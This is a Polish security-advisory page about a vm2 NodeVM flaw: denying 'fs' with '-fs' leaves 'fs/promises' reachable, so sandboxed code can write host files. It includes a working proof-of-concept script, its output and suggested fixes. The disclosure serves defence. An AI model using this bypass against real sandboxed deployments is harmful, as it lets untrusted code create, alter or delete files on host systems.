Wysoka

vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes

  • Ujawniono: 01.10.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.

With the following configuration:

js
require: {
  builtin: ['*', '-fs', '-child_process']
}

require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.

Affected Mode

NodeVM.

Affected Configuration

js
new NodeVM({
  require: {
    builtin: ['*', '-fs', '-child_process']
  }
});

This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.

Affected Files / Functions

  • lib/builtin.js
    • DANGEROUS_BUILTINS
    • BUILTIN_MODULES
    • makeBuiltinsFromLegacyOptions
    • addDefaultBuiltin
  • lib/resolver.js
    • Resolver.resolve
    • Resolver.loadBuiltinModule
  • lib/setup-node-sandbox.js
    • requireImpl

Root Cause

lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:

js
if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.

There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').

Security Boundary Crossed

Sandboxed code can perform host filesystem writes even though the embedder denied fs.

Impact

Confirmed impact:

  • Host file creation
  • Host file write

The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.

Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

js
'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

js
{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

  • require('node:fs/promises') also loads and can write the proof file.
  • Adding -fs/promises blocks require('fs/promises').
  • Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

  • fs
  • fs/promises
  • node:fs
  • node:fs/promises

Negative entries with and without node: should be normalized consistently.

Suggested Fix

  1. Normalize builtin names before allow/deny checks:

    • Strip node: for comparison.
    • Use one canonical key form internally.
  2. Treat negative builtin entries as family denials where appropriate:

    • -fs should block fs/promises.
    • -inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.
  3. Add regression tests for:

    • builtin: ['*', '-fs'] blocks fs/promises.
    • builtin: ['*', '-fs'] blocks node:fs/promises.
    • -node:fs/promises and -fs/promises behave equivalently.
    • Explicit allowlist behavior is documented and covered.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.7 3.11.7

Odnośniki

Ocena CVSS 8.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
Słabość (CWE)
CWE-269, CWE-284
Platforma
npm
Paczka
vm2
Ujawniono
01.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-6rh5-qq4q-97xh - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes ten wpis
    Wysoka · 8.5 CVE-2026-92958 < 3.11.7 3.11.7
  8. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  17. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  19. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  20. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  21. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  22. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  23. Wysoka · 8.5 CVE-2026-43998 >= 3.10.5, < 3.11.0 3.11.0
  24. Krytyczna · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  25. Krytyczna · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  26. Krytyczna · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  27. Krytyczna · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  28. Krytyczna · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  29. Krytyczna · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  30. Krytyczna · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  31. Krytyczna · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  32. Krytyczna · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  33. Krytyczna · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  34. Krytyczna · 9.8 CVE-2023-37903 <= 3.9.19 brak poprawki
  35. Krytyczna · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  36. Krytyczna · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  37. Krytyczna · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  38. Krytyczna · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Pokaż więcej (5) Widać 60 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.